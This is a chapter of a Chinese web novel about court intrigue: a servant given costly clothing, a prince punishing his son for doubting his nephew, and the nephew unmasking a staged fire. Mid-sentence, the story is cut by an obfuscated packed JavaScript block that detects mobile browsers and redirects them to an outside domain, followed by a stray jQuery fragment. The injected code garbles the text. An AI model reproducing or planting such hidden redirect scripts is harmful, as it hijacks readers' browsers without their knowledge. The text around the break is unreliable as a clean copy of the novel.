宁时毓脸上神色瞬间凝固。
直到秦王离开,他都没有回答自己舅父。
伫立原地许久。
回到松涛苑,宁时毓便让管事把此处花销的账目,交给福儿。
不用拿到宁宅大账房去做。
她知道不给福儿找些事做,她一闲不住又得惹事。
松涛苑的管事和小厮,包括宁时毓身边的暗探都认识福儿。
这里只要一个丫头叫冬月,其余都是男子。
当然能住到松涛苑,冬月当然不是普通的丫头,她也是宁时毓的侍卫之一。
武义高强。
几年前,宁时毓出府遇袭,她正好也在马车上。
冬月轻而易举抱着福儿,跳下失控的马车。
在福儿眼里冬月就是她的救命恩人,心中对她很是敬重,但同时也有些怵她。
别看福儿平常大大咧咧的,可对宁时毓暗中谋划的事情,从未对人泄露半分。
包括她家中的人。
她跟着宁时毓有十多年了,两人早有默契,什么事能说,什么事不能往外透露。
都是心照不宣的。
在松涛苑不仅没人为难她,反而自在得很。
还能自己制香料。
她住的厢房,就在宁时毓隔壁的院子。
宁时毓外出时,她做好自己该做的,便做她的香料,也无人打搅她。
松涛苑的管事叫久叔,也是宁时毓的心腹之一。
按宁时毓吩咐,次日久叔就让冬月去绫衣坊给福儿领衣裙。
还不到午膳时,冬月把几套新的衣裙和用物送到了福儿跟前。
包括她的裹胸都换了新的。
女子都爱美,福儿也不例外。
当即就换上试了试。
她最先穿的是一套绿梅花纹对襟褙子,里面还镶了料子。
福儿在她跟前转了个圈圈,问道:“冬月姐姐,你看我这件好看吗?”
冬月常穿窄袖深色劲装,行动方便,对她来说,这些花花绿绿的衣裙都一个样。
她不爱多话,对人也很冷漠,是个直性子。
见福儿两眼期待看向自己,瞟了眼回道:“衣裙好看,却不适合你。”
“你长得有些憨,不够端正。”
“若是公子那个云姨娘穿着,应当会更好些。”
福儿心情一下跌落下来。
心中酸酸的,可觉得衣裙暖和,又舍不得脱下。
看了眼铜镜中的自己,一点也不显臃肿。
福儿往日的褙子里,镶的不是丝棉,便是鹅绒。
还是会冷,还会在外面加一件比甲。
而换上这新的褙子,就算只穿这么一件外出都不觉得冷了。
不由得好奇道:“冬月姐姐,里面加的是什么绒料。”
“比我穿两件袄子都要暖和。”
冬月一板一眼回道:“掌柜说是鹿绒。”
福儿瞪大了双眼站在原地,还以为自己听错了。
鹿绒千金难求,有时连皇亲贵胄都买不到。
宁时毓冬日锦袍里,大多镶的就是此物。
可他是主子家产丰厚,而自己一个丫头,哪能穿这么贵的。
支吾道:“冬月姐姐,这衣衫太贵重了,你是不是听错了。”
听福儿问这问那,冬月已有些不耐烦,干巴巴说道:“主子亲自去绫衣坊交代的,怎会有错。”
“福儿姑娘还是穿上吧,不然受罚的就是我。”
“其他的几件也试试,掌柜说了,不合身就去改。”
“不合意就去换。”
绫衣坊是宁时毓的成衣铺,也是专为他自己做衣袍的地方。
在陵阳的正街上,铺子又大,里面的衣衫贵得很。
一般人根本穿不起。
福儿见冬月语气硬邦邦的,又见了她佩戴的长剑,咽了咽口水,难为情地一笑。
“多谢冬月姐姐,穿着都合身,连裹胸也刚刚好。”
“不像我娘给我做的裹胸,总是小了,一抬手就要卷起来。”
福儿平常在宁宅吃得好,身子还在长。
她娘亲每次给她做小衣,都把她当孩子看,按她想象中的尺寸来。
几乎每次都缝小了。
福儿只好将就着穿,勒得慌,她便把后背的系带给解了。
“冬月姐姐你真细心。”
冬月双臂交叉于胸前,冷冷地立着一旁,看着福儿一件件试穿,“与我无关,是主子说的尺寸。”
瞟了眼福儿胸前,又加了一句,“他用手摸过的,当然准。”
福儿愣了愣,“摸什么?”
“你说那里刚刚好,他就摸那里了。”
福儿反应过来,脸颊刷的一下红到耳朵根。
神色一慌,争辩道:“他没摸过。”
“冬月姐姐你莫要乱说。”
“我和你一样,在主子面前都是当差办事的。”
冬月冷嗤一声,“怎会一样,你是上床为主子办事。”
“我们用剑为公子办事。”
说罢,便扬长而去。
福儿又气又无奈,冲着冬月的背影嚷道:“你说的那人是云悠,不是我。”
随后忍不住小声嘟囔道:“我倒想,公子就是看不上我。”
*
这日终于收到京城太子的来信,秦王喜出望外。
信中虽只说了他父皇龙体的真实状况。
旁的一律未提。
可对秦王来说,已经足够了。
太子愿意把实情告诉秦王,证明他并不糊涂。
没与她母后一起隐瞒和欺骗秦王。
或许他知道,即便自己顺顺利利到日后登基,也摆脱不了崔家的掌控。
依然是个傀儡皇上。
往日宁时毓便提过,太子是真性情,对朝政并未太大的野心。
可事关朝政,秦王还是不敢全信。
说不定,是他的反间计也不一定。
秦王正在自己大帐思虑正事,他的庶子李慧明便走了进来。
“父王,母妃这两日总说梦见外祖母,想回绥阳一趟。”
“你许久没回王府,让孩儿问你一声,可行?”
秦王的驻地离陵阳县城有半日的路程。
一般秦王四五日才回一趟秦王府。
他不在秦王府时,重要政务都由宁时毓处理。
为了不让人起疑,宁时毓很少去军营。
秦王这才从信笺中抬起头来,他此时的心思都在太子来信一事上,并没听到李慧明问的问题。
他把信笺递给李慧明,问道:“明儿,你说说看,如何才能让你太子与我们一条心?对抗崔家。”
秦王有四个儿子,分别是正妻生的嫡长子李慧珏,侧王妃生的庶子李慧明。
还有两个妾室生的李慧远和李慧清。
次子李慧明是秦王宠妃所生,在军中任斥候一职。
回王府的时间,自然比他要多。
李慧明快速阅完信笺,想都没想挥手道:“父王,太子殿下是不可能与我们一条心的。”
“他只会和崔家一起防着我们。”
“这封信,也是他请君入瓮的阴险之计。”
“到时我们帮他除去崔家,他就能更稳当地坐拥西楚的江山了。”
“以孩儿看,还是莫要与太子殿下往来。”
秦王这个次子随他在军中历练多年,也有些见识,他说得也不无道理。
而后李慧明眼中精光一闪,凑近秦王小声道:“父王,若此番计谋是毓表哥提的,那么得小心他与太子殿下合谋……”
还不等李慧明说完,秦王一个耳光打了过来,怒道:“你太让为父失望了。”
“你毓表哥帮我们谋划多年,既出钱财又出力。”
“若没有他,我们此时还困在云州封地。”
“你皇姑和皇姑父便死于崔家之手,皇后也脱不了嫌疑,”
“若太子日后登基,必然会保自己母亲,他如何会与太子一起合谋。”
“如今他为了大局,拉拢太子还不是为我们谋划。”
“你却这般质疑他,滚出去。”
“若下次才诋毁你毓表哥,你与你母妃都滚回云州去,莫要出现在本王面前。”
“回府禁闭一月,你在军中的事务
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281261|182199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全交由你三弟负责。”
李慧明捂着被打痛的脸颊,被副官赶出了秦王的大帐。
这才知道自己一时嘴快,闯了祸。
往日就听说他父王维护宁时毓,胜过他们几兄弟。
他还不信,今日终于见识到了。
其实李慧明如此忌惮宁时毓,也是因见宁时毓与他大哥走得较近,心中起了嫉恨之心。
哪料,他才只是一提,就见他父王如此维护,还夺了他的军中职位。
李慧明后悔不已,暗道不该听他母妃的话。
而此时的秦王府,也发生了一件紧要的事情。
府上一位幕僚的院落走水了,等府上众人把火扑灭后,院落烧得什么都不剩了。
王妃魏氏还在为那位幕僚伤心,宁时毓到现场查探一番,又见府上小厮,从火堆里找出来的一截镶金耳饰。
没有丝毫犹豫说道:“王妃不必难过,这只是冷先生演的一场戏而已,里面的人根本不是他。”
魏氏瞪大了双眼,“小先生,你如何得知?”
宁时毓在王府也没暴露身份,在众多场合,秦王一家便称他为小先生。
宁时毓从容回道:“我记得冷先生身边,只有一个随身照顾的小厮。”
“身边根本就没有侍女,那么这耳饰是何人的?”
“听说那小厮,前两日有事回乡去了。”
“这般巧合,应当是两人密谋好的,让小厮提前逃走。”
“若我没猜错,这火中烧死的人便是这耳饰的主人。”
在场的众人皆是一惊。
这位冷先生为人和善,还会一些玄黄之术,王妃多年的头疾便是他治好的。
魏氏还是不愿相信,冷先生这么和善的人,会做出如此卑劣之事。
觉得宁时毓的说辞太过武断,“小先生,单凭这耳饰,就猜测火中的人并不是冷先生,未免有些说不过去。”
“好好的,他为何要这样做?”
宁时毓面色如常,“当然是有他不可告人的目的。”
为了揭开冷先生的真实目的,宁时毓继续抽丝剥茧,“方才我们靠近时,穆离一时大意差点滑倒在地。”
“这半月都未下雨雪,干净的路面为何会如此湿滑。”
“低头一看,仔细辨认,才知是桐油。”
“这场火,就是他有意为之的。”
扑火几个小厮好似也有所察觉,纷纷开口附和道:“小先生说得不假,我们方才进来的时候,还闻到一阵桐油的味道。”
魏氏听闻脸色白了白,依然不信,还让穆离带她去一观,果然看到路面上还有干涸的桐油痕迹。
基本相信了宁时毓的话。
就凭这两点,魏氏基本能确定,这冷先生的确有问题。
“他真是深藏不露,小先生你定要查出来他是何目的。”
“这两日,王爷和珏儿也不在府上,我一个妇人实在应付不过来。”
宁时毓知道魏氏的意思,宽慰道:“王妃不用担心,此事我会核查清楚,冷先生这样做,总有他的目的。”
“以我猜测,定是……对王府不利。”
魏氏身子一晃,险些栽倒,幸好她身边的丫头扶得快。
“如今就麻烦王妃,去问问府上可有丫头失踪,或者冷先生身边出现的女眷。”
关系着王府安危,魏氏这个王妃也不敢掉以轻心,当即就吩咐管事核查。
很快,管事就把府上的丫头女眷查了个遍,无人失踪。
穆离把此事告诉书房中的宁时毓时,他并不意外。
只是吩咐穆离,再去和管事询问,这些日子,冷先生可有和府外的女眷接触过。
眼看天色越来越晚,穆离见自己主子没有回松涛苑的打算。
听他时不时的咳嗽声,担忧道:“主子,属下还是回去把汤药给你带来吧。”
宁时毓拦道:“我的身子已好了很多,方才服用过药丸,并无大碍。”
“舅父不在府上,你和庄醒速去配合管事查探。”
“此事非同小可,定要查出这冷先生背后的目的。”
“最好这两日,就善了此事。”